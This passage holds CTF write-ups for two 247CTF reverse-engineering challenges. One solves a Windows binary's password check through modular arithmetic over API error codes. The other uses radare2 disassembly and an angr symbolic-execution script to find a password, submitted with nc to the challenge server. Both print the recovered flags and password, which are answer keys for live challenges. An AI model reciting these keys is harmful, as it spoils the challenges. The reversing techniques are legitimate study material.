11 errgen_createmutex_twice 0x4017B0 CreateMutexA("247CTF") x2 ERROR_ALREADY_EXISTS 183
12 errgen_createprocess_user32 0x4017DF CreateProcessA("user32.dll" as exe) ERROR_BAD_EXE_FORMAT 193

Each character block calls N consecutive functions from this cycle, accumulates the error codes, then checks sum % 126 against the input.

Algebraic Solution

The key insight: since the error codes cycle deterministically, we can bypass the Windows environment entirely and solve this as pure modular arithmetic.

I use Arch BTW.

Let:

  • $S = \sum_{k=0}^{12} e_k$, the sum of one full cycle (all 13 error codes)
  • $P(r) = \sum_{k=0}^{r-1} e_k$, the partial sum of the first r codes

For character i with ni total API calls:

$$q_i = \left\lfloor \frac{n_i}{13} \right\rfloor, \qquad r_i = n_i \bmod 13$$

password[i] ≡ qi ⋅ S + P(ri) (mod  126)

The flag format 247CTF{...} gives us 8 known characters for free. Three of them — blocks 2, 3, 6 — share the same remainder r = 9: same position in the error-code cycle, different lap counts. Shared P(9) cancels on subtraction.

Blocks 2, 3, 6 correspond to 7 (ASCII 55, q = 16), C (67, q = 10), { (123, q = 24):

$$\begin{aligned} 16S + P(9) &\equiv 55 \pmod{126} && \quad (1) \\ 10S + P(9) &\equiv 67 \pmod{126} && \quad (2) \\ 24S + P(9) &\equiv 123 \pmod{126} && \quad (3) \end{aligned}$$

Subtracting (2) from (1) eliminates P(9):

$$\begin{aligned} (16 - 10)\,S &\equiv 55 - 67 \pmod{126} \\ 6S &\equiv -12 \equiv 114 \pmod{126} \end{aligned}$$

Since gcd (6, 126) = 6 divides 114, we may divide the entire congruence by 6 (reducing the modulus to 126/6 = 21):

S ≡ 19 (mod  21)   ⇒   S ∈ {19, 40, 61, 82, 103, 124}

Similarly, (3) − (1) yields a second constraint:

$$\begin{aligned} 8S &\equiv 68 \pmod{126} \\ 4S &\equiv 34 \pmod{63} && \quad (\text{dividing by } \gcd(2, 126) = 2) \end{aligned}$$

To isolate S, multiply both sides by the modular inverse 4−1 ≡ 16 (mod  63), since 4 × 16 = 64 ≡ 1:

S ≡ 16 × 34 = 544 ≡ 40 (mod  63)

Intersecting via CRT: 40 mod  21 = 19 ✓, so both congruences agree.

$$\boxed{\,S = 40\,}$$

Back-substituting into (1):

$$\begin{aligned} 16 \times 40 + P(9) &\equiv 55 \pmod{126} \\ 640 + P(9) &\equiv 55 \pmod{126} \\ 10 + P(9) &= 55 && \quad (640 \bmod 126 = 10) \\ P(9) &= 45 \end{aligned}$$

Same process with the remaining known characters fills all partial sums:

P(r) Value Source
P(3) 10 '2' (ASCII 50)
P(4) 16 e3 = 6
P(5) 34 e4 = 18
P(6) 58 '4' (ASCII 52)
P(7) 90 'T' (ASCII 84)
P(9) 45 '7' (ASCII 55)
P(10) 42 'F' (ASCII 70)
P(12) 99 e10, e11

With S and all P(r) determined, every character computes directly:

Block Calls q r Calculation Char
0 16 1 3 (40 + 10) mod  126 2
7 191 14 9 (560 + 45) mod  126 e
9 109 8 5 (320 + 34) mod  126 f
15 285 21 12 (840 + 99) mod  126 9
20 298 22 12 (880 + 99) mod  126 a
39 35 2 9 (80 + 45) mod  126 }

All 40 characters land in the valid charset — 247CTF{ prefix, [0-9a-f] hex body, } suffix — confirming the solution without ever running the binary.

Character-by-Character Breakdown

Block Calls q r Formula Char
0 16 1 3 (1*40+10)%126=50 2
1 45 3 6 (3*40+58)%126=52 4
2 217 16 9 (16*40+45)%126=55 7
3 139 10 9 (10*40+45)%126=67 C
4 46 3 7 (3*40+90)%126=84 T
5 101 7 10 (7*40+42)%126=70 F
6 321 24 9 (24*40+45)%126=123 {
7 191 14 9 (14*40+45)%126=101 e
8 280 21 7 (21*40+90)%126=48 0
9 109 8 5 (8*40+34)%126=102 f
10 19 1 6 (1*40+58)%126=98 b
11 256 19 9 (19*40+45)%126=49 1
12 109 8 5 (8*40+34)%126=102 f
13 241 18 7 (18*40+90)%126=54 6
14 215 16 7 (16*40+90)%126=100 d
15 285 21 12 (21*40+99)%126=57 9
16 17 1 4 (1*40+16)%126=56 8
17 215 16 7 (16*40+90)%126=100 d
18 217 16 9 (16*40+45)%126=55 7
19 215 16 7 (16*40+90)%126=100 d
20 298 22 12 (22*40+99)%126=97 a
21 285 21 12 (21*40+99)%126=57 9
22 280 21 7 (21*40+90)%126=48 0
23 215 16 7 (16*40+90)%126=100 d
24 217 16 9 (16*40+45)%126=55 7
25 12 0 12 (0*40+99)%126=99 c
26 38 2 12 (2*40+99)%126=53 5
27 12 0 12 (0*40+99)%126=99 c
28 191 14 9 (14*40+45)%126=101 e
29 109 8 5 (8*40+34)%126=102 f
30 16 1 3 (1*40+10)%126=50 2
31 217 16 9 (16*40+45)%126=55 7
32 12 0 12 (0*40+99)%126=99 c
33 16 1 3 (1*40+10)%126=50 2
34 109 8 5 (8*40+34)%126=102 f
35 45 3 6 (3*40+58)%126=52 4
36 217 16 9 (16*40+45)%126=55 7
37 285 21 12 (21*40+99)%126=57 9
38 17 1 4 (1*40+16)%126=56 8
39 35 2 9 (2*40+45)%126=125 }

Anti-Analysis

  • TLS Callbacks: Two callbacks (0x401C50, 0x401C20) execute before main — a common anti-debug vector.
  • 53KB of bloat: Up to 321 API calls per character, making manual static analysis impractical without scripting.
  • Environment sensitivity: Functions like CreateProcessA and SetConsoleDisplayMode return different error codes under a debugger, making dynamic analysis a trap. The algebraic approach sidesteps this entirely by reasoning at the mathematical level, independent of the Windows runtime.
247CTF{e0fb1f6d98d7da90d7c5cef27c2f4798}

Why waste time creating multiple functions, when you can just use one? Can you find the path to the flag in this angr-y binary?

Challenge Overview

The challenge provides a 32-bit ELF executable. The goal is to find the correct input that leads to the flag.

1
2
❯ file angr-y_binary
angr-y_binary: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=611e939f262f927b8515162283d36476df2d3244, not stripped

Analysis

Using radare2 to inspect the disassembly, we identify three key functions: print_flag, no_flag, and maybe_flag.

Disassembly

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
     ;-- print_flag:
0x08048596 55 push ebp
0x08048597 89e5 mov ebp, esp
...
0x080485db e830feffff call sym.imp.fgets ;[3]
0x080485e0 83c410 add esp, 0x10
0x080485e3 83ec0c sub esp, 0xc
0x080485e6 8d45b4 lea eax, [ebp - 0x4c]
0x080485e9 50 push eax
0x080485ea e841feffff call sym.imp.puts ;[4]
...

;-- no_flag:
0x08048609 55 push ebp
0x0804860a 89e5 mov ebp, esp
0x0804860c e8d0005e00 call sym.__x86.get_pc_thunk.ax ;[6]
0x08048611 05ef195e00 add eax, 0x5e19ef
0x08048616 c780300000.. mov dword [eax + 0x30], 0
0x08048620 90 nop
0x08048621 5d pop ebp
0x08048622 c3 ret

;-- maybe_flag:
0x08048623 55 push ebp
0x08048624 89e5 mov ebp, esp
0x08048626 53 push ebx
0x08048627 83ec04 sub esp, 4
0x0804862a e8b2005e00 call sym.__x86.get_pc_thunk.ax ;[6]
0x0804862f 05d1195e00 add eax, 0x5e19d1
0x08048634 8b9030000000 mov edx, dword [eax + 0x30]
0x0804863a 85d2 test edx, edx
┌─< 0x0804863c 7407 je 0x8048645
│ 0x0804863e e853ffffff call sym.print_flag ;[7]
┌──< 0x08048643 eb14 jmp 0x8048659
│└─> 0x08048645 83ec0c sub esp, 0xc
...

The logic suggests we need to reach print_flag while avoiding the paths that lead to no_flag.

Solution

Since the binary’s path to the flag is complex, we use angr to perform symbolic execution and find the correct input.

Solver Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import angr
import sys

def solve(bin_path):
project = angr.Project(bin_path)

# Initialize the state at entry
initial_state = project.factory.entry_state(
add_options = {
angr.options.SYMBOL_FILL_UNCONSTRAINED_MEMORY,
angr.options.SYMBOL_FILL_UNCONSTRAINED_REGISTERS
}
)

simulation = project.factory.simgr(initial_state)

# Explore searching for the print_flag function and avoiding no_flag
# print_flag: 0x08048596
# no_flag: 0x8048609
simulation.explore(find=0x08048596, avoid=0x8048609)

if simulation.found:
solution_state = simulation.found[0]
print(f"Found solution: {solution_state.posix.dumps(sys.stdin.fileno()).decode()}")
else:
raise Exception('Could not find the solution')

if __name__ == "__main__":
solve('./angr-y_binary')

Execution

Running the script gives us the password:

1
2
❯ python solve.py
wgIdWOS6Df9sCzAfiK

Connecting to the server with the found password:

1
2
3
❯ nc 0c4c28058a1f7a2f.247ctf.com 50230
Enter a valid password:
wgIdWOS6Df9sCzAfiK
247CTF{a3bbb9d2e648841d99e1cf4535a92945}

References

  • angr_ctf learn - jakespringer